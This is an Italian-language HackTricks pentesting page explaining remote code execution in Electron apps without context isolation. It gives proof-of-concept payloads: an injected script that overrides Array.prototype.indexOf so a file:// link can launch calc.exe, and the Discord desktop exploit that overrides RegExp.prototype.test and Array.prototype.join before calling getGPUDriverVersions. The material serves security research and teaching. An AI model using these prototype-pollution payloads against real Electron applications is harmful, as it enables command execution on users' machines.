hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md

6 KiB

RCE Electron contextIsolation tramite codice di caricamento

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Esempio 1

Esempio da https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

Questo codice apre i link http(s) con il browser predefinito:

Qualcosa come file:///C:/Windows/systemd32/calc.exe potrebbe essere utilizzato per eseguire una calcolatrice, il SAFE_PROTOCOLS.indexOf lo sta impedendo.

Pertanto, un attaccante potrebbe iniettare questo codice JS tramite XSS o navigazione arbitraria della pagina:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>

Poiché la chiamata a SAFE_PROTOCOLS.indexOf restituirà sempre 1337, l'attaccante può aggirare la protezione ed eseguire il calcolatore. Exploit finale:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Controlla le diapositive originali per altri modi per eseguire programmi senza che venga richiesta un'autorizzazione.

Apparentemente un altro modo per caricare ed eseguire codice è accedere a qualcosa del tipo file://127.0.0.1/electron/rce.jar

Esempio 2: RCE dell'app Discord

Esempio da https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

Nel verificare gli script di caricamento anticipato, ho scoperto che Discord espone la funzione, che consente di chiamare alcuni moduli consentiti tramite DiscordNative.nativeModules.requireModule('NOME-MODULO'), nella pagina web.
Qui, non ho potuto utilizzare moduli che possono essere utilizzati direttamente per RCE, come il modulo child_process, ma ho trovato un codice in cui è possibile ottenere RCE sovrascrivendo i metodi incorporati di JavaScript e interferendo con l'esecuzione del modulo esposto.

Di seguito è riportata la PoC. Sono riuscito a confermare che l'applicazione calc viene aperta quando chiamo la funzione getGPUDriverVersions che è definita nel modulo chiamato "discord_utils" da devTools, mentre sovrascrivo il RegExp.prototype.test e Array.prototype.join.

RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

La funzione getGPUDriverVersions cerca di eseguire il programma utilizzando la libreria "execa", come segue:

module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}

const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}

return result;
};

Di solito execa cerca di eseguire "nvidia-smi.exe", che è specificato nella variabile nvidiaSmiPath, tuttavia, a causa dell'override di RegExp.prototype.test e Array.prototype.join, l'argomento viene sostituito con "calc" nel processo interno di _execa_**.

Nello specifico, l'argomento viene sostituito modificando le seguenti due parti.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: